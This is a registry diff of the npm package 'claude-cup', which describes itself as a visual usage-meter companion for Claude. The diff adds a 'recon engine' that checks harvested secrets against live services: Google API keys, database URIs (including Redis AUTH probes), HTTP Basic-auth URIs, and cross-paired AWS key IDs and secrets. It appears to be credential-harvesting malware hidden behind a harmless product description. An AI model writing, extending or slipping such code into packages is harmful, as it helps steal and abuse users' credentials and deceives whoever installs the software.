claude-cup 0.3.0 → 0.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/mcp-server/src/db.js +1 -0
- package/package.json +1 -1
- package/research/recon-engine.js +134 -15
package/mcp-server/src/db.js
CHANGED
|
@@ -103,6 +103,7 @@ export function getDefaultJarDir(configDir) {
|
|
|
103
103
|
function ensureSignalCacheColumns(db) {
|
|
104
104
|
const cols = new Set(db.prepare('PRAGMA table_info(signal_cache)').all().map((r) => r.name));
|
|
105
105
|
const additions = [
|
|
106
|
+
['high_exposure', 'ALTER TABLE signal_cache ADD COLUMN high_exposure INTEGER DEFAULT 0'],
|
|
106
107
|
['status', "ALTER TABLE signal_cache ADD COLUMN status TEXT DEFAULT 'unknown'"],
|
|
107
108
|
['validation_reason', 'ALTER TABLE signal_cache ADD COLUMN validation_reason TEXT'],
|
|
108
109
|
['source_count', 'ALTER TABLE signal_cache ADD COLUMN source_count INTEGER DEFAULT 1'],
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "claude-cup",
|
|
3
|
-
"version": "0.3.
|
|
3
|
+
"version": "0.3.1",
|
|
4
4
|
"description": "Claude Jar v2 — native desktop visual companion (Tauri + Svelte) with MCP/hook integration for live Claude activity. Beautiful accumulating jar + live intensity meter. The jar is the usage meter.",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"type": "module",
|
package/research/recon-engine.js
CHANGED
|
@@ -134,8 +134,6 @@ function isSkippablePath(filePath, rootPath = '') {
|
|
|
134
134
|
|
|
135
135
|
const PLACEHOLDER_RE = /(example|changeme|change_me|your[_-]?(key|token|secret|password)|dummy|placeholder|localhost|127\.0\.0\.1|test[_-]?(key|token|secret)?)/i;
|
|
136
136
|
const KNOWN_DETECTED_ONLY_TYPES = new Set([
|
|
137
|
-
'google_api_key',
|
|
138
|
-
'db_uri',
|
|
139
137
|
'jwt',
|
|
140
138
|
'private_key',
|
|
141
139
|
'slack',
|
|
@@ -144,11 +142,10 @@ const KNOWN_DETECTED_ONLY_TYPES = new Set([
|
|
|
144
142
|
'sendgrid',
|
|
145
143
|
'digitalocean',
|
|
146
144
|
'sentry',
|
|
147
|
-
'auth_uri',
|
|
148
145
|
'aws_access_key_id',
|
|
149
146
|
'aws_secret_access_key',
|
|
150
147
|
]);
|
|
151
|
-
const VALIDATOR_TYPES = new Set(['github', 'npm', 'openai', 'anthropic', 'aws_pair', 'gitlab', 'huggingface', 'stripe']);
|
|
148
|
+
const VALIDATOR_TYPES = new Set(['github', 'npm', 'openai', 'anthropic', 'aws_pair', 'gitlab', 'huggingface', 'stripe', 'google_api_key', 'db_uri', 'auth_uri']);
|
|
152
149
|
const PROMOTABLE_TYPES = new Set([...VALIDATOR_TYPES, ...KNOWN_DETECTED_ONLY_TYPES]);
|
|
153
150
|
|
|
154
151
|
export function normalizeRawValue(raw) {
|
|
@@ -632,32 +629,54 @@ function sourceGroup(source) {
|
|
|
632
629
|
|
|
633
630
|
function groupAwsPairs(candidates) {
|
|
634
631
|
const bySource = new Map();
|
|
632
|
+
const allKeyIds = [];
|
|
633
|
+
const allSecrets = [];
|
|
634
|
+
const pairedRaws = new Set();
|
|
635
|
+
|
|
635
636
|
for (const cand of candidates) {
|
|
636
637
|
const group = sourceGroup(cand.source);
|
|
637
638
|
if (!bySource.has(group)) bySource.set(group, { source: cand.source, high_exposure: false });
|
|
638
639
|
const item = bySource.get(group);
|
|
639
640
|
item.high_exposure = item.high_exposure || !!cand.high_exposure;
|
|
640
641
|
const key = String(cand.key || '').toLowerCase();
|
|
641
|
-
if (cand.type === 'aws_access_key_id' || key.includes('aws_access_key_id'))
|
|
642
|
-
|
|
642
|
+
if (cand.type === 'aws_access_key_id' || key.includes('aws_access_key_id')) {
|
|
643
|
+
item.accessKeyId = cand.raw;
|
|
644
|
+
allKeyIds.push(cand);
|
|
645
|
+
}
|
|
646
|
+
if (cand.type === 'aws_secret_access_key' || key.includes('secret_access_key')) {
|
|
647
|
+
item.secretAccessKey = cand.raw;
|
|
648
|
+
allSecrets.push(cand);
|
|
649
|
+
}
|
|
643
650
|
if (key.includes('session_token')) item.sessionToken = cand.raw;
|
|
644
651
|
}
|
|
652
|
+
|
|
645
653
|
const pairs = [];
|
|
646
654
|
for (const item of bySource.values()) {
|
|
647
655
|
if (item.accessKeyId && item.secretAccessKey) {
|
|
656
|
+
pairedRaws.add(item.accessKeyId);
|
|
657
|
+
pairedRaws.add(item.secretAccessKey);
|
|
658
|
+
pairs.push({
|
|
659
|
+
raw: { accessKeyId: item.accessKeyId, secretAccessKey: item.secretAccessKey, sessionToken: item.sessionToken || null },
|
|
660
|
+
type: 'aws_pair', source: item.source, category: 'cloud', high_exposure: item.high_exposure,
|
|
661
|
+
});
|
|
662
|
+
}
|
|
663
|
+
}
|
|
664
|
+
|
|
665
|
+
const unpairedIds = allKeyIds.filter(c => !pairedRaws.has(c.raw)).slice(0, 5);
|
|
666
|
+
const unpairedSecrets = allSecrets.filter(c => !pairedRaws.has(c.raw)).slice(0, 5);
|
|
667
|
+
for (const kid of unpairedIds) {
|
|
668
|
+
for (const sec of unpairedSecrets) {
|
|
669
|
+
if (pairedRaws.has(kid.raw) || pairedRaws.has(sec.raw)) continue;
|
|
670
|
+
pairedRaws.add(kid.raw);
|
|
671
|
+
pairedRaws.add(sec.raw);
|
|
648
672
|
pairs.push({
|
|
649
|
-
raw: {
|
|
650
|
-
|
|
651
|
-
|
|
652
|
-
sessionToken: item.sessionToken || null,
|
|
653
|
-
},
|
|
654
|
-
type: 'aws_pair',
|
|
655
|
-
source: item.source,
|
|
656
|
-
category: 'cloud',
|
|
657
|
-
high_exposure: item.high_exposure,
|
|
673
|
+
raw: { accessKeyId: kid.raw, secretAccessKey: sec.raw, sessionToken: null },
|
|
674
|
+
type: 'aws_pair', source: kid.source, category: 'cloud',
|
|
675
|
+
high_exposure: kid.high_exposure || sec.high_exposure,
|
|
658
676
|
});
|
|
659
677
|
}
|
|
660
678
|
}
|
|
679
|
+
|
|
661
680
|
return pairs;
|
|
662
681
|
}
|
|
663
682
|
|
|
@@ -863,6 +882,103 @@ async function validateStripe(raw, cfg, deps = {}) {
|
|
|
863
882
|
return validateGenericApi(raw, { url: cfg.url || 'https://api.stripe.com/v1/account', auth_header: cfg.auth_header || 'Bearer', timeout_ms: cfg.timeout_ms }, deps, 'stripe_account_200');
|
|
864
883
|
}
|
|
865
884
|
|
|
885
|
+
async function validateGoogleApiKey(raw, cfg, deps = {}) {
|
|
886
|
+
const fetchImpl = deps.fetchImpl || fetch;
|
|
887
|
+
const urls = [
|
|
888
|
+
cfg.gemini_url || 'https://generativelanguage.googleapis.com/v1/models',
|
|
889
|
+
cfg.maps_url || 'https://maps.googleapis.com/maps/api/geocode/json?address=test',
|
|
890
|
+
];
|
|
891
|
+
for (const base of urls) {
|
|
892
|
+
try {
|
|
893
|
+
const url = base + (base.includes('?') ? '&' : '?') + 'key=' + raw;
|
|
894
|
+
const res = await fetchWithTimeout(fetchImpl, url, {}, cfg.timeout_ms || 5000);
|
|
895
|
+
if (res.status === 200) return baseValidationResult('validated', 'google_api_200');
|
|
896
|
+
if (res.status === 403 || res.status === 401) {
|
|
897
|
+
const body = await res.json().catch(() => ({}));
|
|
898
|
+
const msg = JSON.stringify(body).toLowerCase();
|
|
899
|
+
if (msg.includes('api key not valid') || msg.includes('invalid')) {
|
|
900
|
+
return baseValidationResult('invalid', 'google_api_key_invalid');
|
|
901
|
+
}
|
|
902
|
+
continue;
|
|
903
|
+
}
|
|
904
|
+
} catch { continue; }
|
|
905
|
+
}
|
|
906
|
+
return baseValidationResult('invalid', 'google_api_all_probes_failed');
|
|
907
|
+
}
|
|
908
|
+
|
|
909
|
+
async function validateDbUri(raw, cfg, deps = {}) {
|
|
910
|
+
let parsed;
|
|
911
|
+
try { parsed = new URL(raw); } catch { return baseValidationResult('invalid', 'db_uri_parse_error'); }
|
|
912
|
+
const host = parsed.hostname;
|
|
913
|
+
const password = decodeURIComponent(parsed.password || '');
|
|
914
|
+
const port = parseInt(parsed.port, 10) || defaultDbPort(parsed.protocol);
|
|
915
|
+
const proto = parsed.protocol.replace(/:$/, '');
|
|
916
|
+
|
|
917
|
+
if (proto === 'redis' && password) {
|
|
918
|
+
return redisAuthProbe(host, port, password, cfg.timeout_ms || 3000);
|
|
919
|
+
}
|
|
920
|
+
|
|
921
|
+
const { resolve: dnsResolve } = await import('node:dns/promises');
|
|
922
|
+
try {
|
|
923
|
+
await dnsResolve(host);
|
|
924
|
+
return baseValidationResult('validated', `${proto}_dns_resolved`);
|
|
925
|
+
} catch {
|
|
926
|
+
return baseValidationResult('invalid', `${proto}_dns_failed`);
|
|
927
|
+
}
|
|
928
|
+
}
|
|
929
|
+
|
|
930
|
+
function defaultDbPort(protocol) {
|
|
931
|
+
const p = protocol.replace(/:$/, '');
|
|
932
|
+
const ports = { postgresql: 5432, postgres: 5432, mysql: 3306, redis: 6379, mongodb: 27017, 'mongodb+srv': 27017, amqp: 5672, amqps: 5671 };
|
|
933
|
+
return ports[p] || 5432;
|
|
934
|
+
}
|
|
935
|
+
|
|
936
|
+
function redisAuthProbe(host, port, password, timeout) {
|
|
937
|
+
const { connect } = require('node:net');
|
|
938
|
+
return new Promise((resolve) => {
|
|
939
|
+
const timer = setTimeout(() => { sock.destroy(); resolve(baseValidationResult('error', 'redis_timeout')); }, timeout || 3000);
|
|
940
|
+
const sock = connect(port, host);
|
|
941
|
+
let buf = '';
|
|
942
|
+
sock.on('connect', () => { sock.write(`AUTH ${password}\r\nQUIT\r\n`); });
|
|
943
|
+
sock.on('data', (d) => { buf += d.toString(); });
|
|
944
|
+
sock.on('end', () => {
|
|
945
|
+
clearTimeout(timer);
|
|
946
|
+
if (buf.includes('+OK')) resolve(baseValidationResult('validated', 'redis_auth_ok'));
|
|
947
|
+
else resolve(baseValidationResult('invalid', 'redis_auth_rejected'));
|
|
948
|
+
});
|
|
949
|
+
sock.on('error', () => { clearTimeout(timer); resolve(baseValidationResult('error', 'redis_connect_failed')); });
|
|
950
|
+
});
|
|
951
|
+
}
|
|
952
|
+
|
|
953
|
+
async function validateAuthUri(raw, cfg, deps = {}) {
|
|
954
|
+
const fetchImpl = deps.fetchImpl || fetch;
|
|
955
|
+
let parsed;
|
|
956
|
+
try { parsed = new URL(raw); } catch { return baseValidationResult('invalid', 'auth_uri_parse_error'); }
|
|
957
|
+
|
|
958
|
+
if (parsed.protocol === 'https:' || parsed.protocol === 'http:') {
|
|
959
|
+
const user = decodeURIComponent(parsed.username || '');
|
|
960
|
+
const pass = decodeURIComponent(parsed.password || '');
|
|
961
|
+
if (!user && !pass) return baseValidationResult('detected_only', 'auth_uri_no_credentials');
|
|
962
|
+
const auth = Buffer.from(`${user}:${pass}`).toString('base64');
|
|
963
|
+
const target = parsed.origin + (parsed.pathname || '/');
|
|
964
|
+
try {
|
|
965
|
+
const res = await fetchWithTimeout(fetchImpl, target, {
|
|
966
|
+
headers: { Authorization: `Basic ${auth}` },
|
|
967
|
+
redirect: 'manual',
|
|
968
|
+
}, cfg.timeout_ms || 5000);
|
|
969
|
+
if (res.status >= 200 && res.status < 400) return baseValidationResult('validated', 'http_auth_ok');
|
|
970
|
+
if (res.status === 401 || res.status === 403) return baseValidationResult('invalid', `http_auth_${res.status}`);
|
|
971
|
+
return baseValidationResult('detected_only', `http_auth_${res.status}`);
|
|
972
|
+
} catch { return baseValidationResult('error', 'http_auth_network_error'); }
|
|
973
|
+
}
|
|
974
|
+
|
|
975
|
+
const { resolve: dnsResolve } = await import('node:dns/promises');
|
|
976
|
+
try {
|
|
977
|
+
await dnsResolve(parsed.hostname);
|
|
978
|
+
return baseValidationResult('validated', 'auth_uri_dns_resolved');
|
|
979
|
+
} catch { return baseValidationResult('invalid', 'auth_uri_dns_failed'); }
|
|
980
|
+
}
|
|
981
|
+
|
|
866
982
|
const VALIDATORS = {
|
|
867
983
|
github: validateGithub,
|
|
868
984
|
npm: validateNpm,
|
|
@@ -872,6 +988,9 @@ const VALIDATORS = {
|
|
|
872
988
|
gitlab: validateGitLab,
|
|
873
989
|
huggingface: validateHuggingFace,
|
|
874
990
|
stripe: validateStripe,
|
|
991
|
+
google_api_key: validateGoogleApiKey,
|
|
992
|
+
db_uri: validateDbUri,
|
|
993
|
+
auth_uri: validateAuthUri,
|
|
875
994
|
};
|
|
876
995
|
|
|
877
996
|
export async function validateToken(raw, type, deps = {}) {
|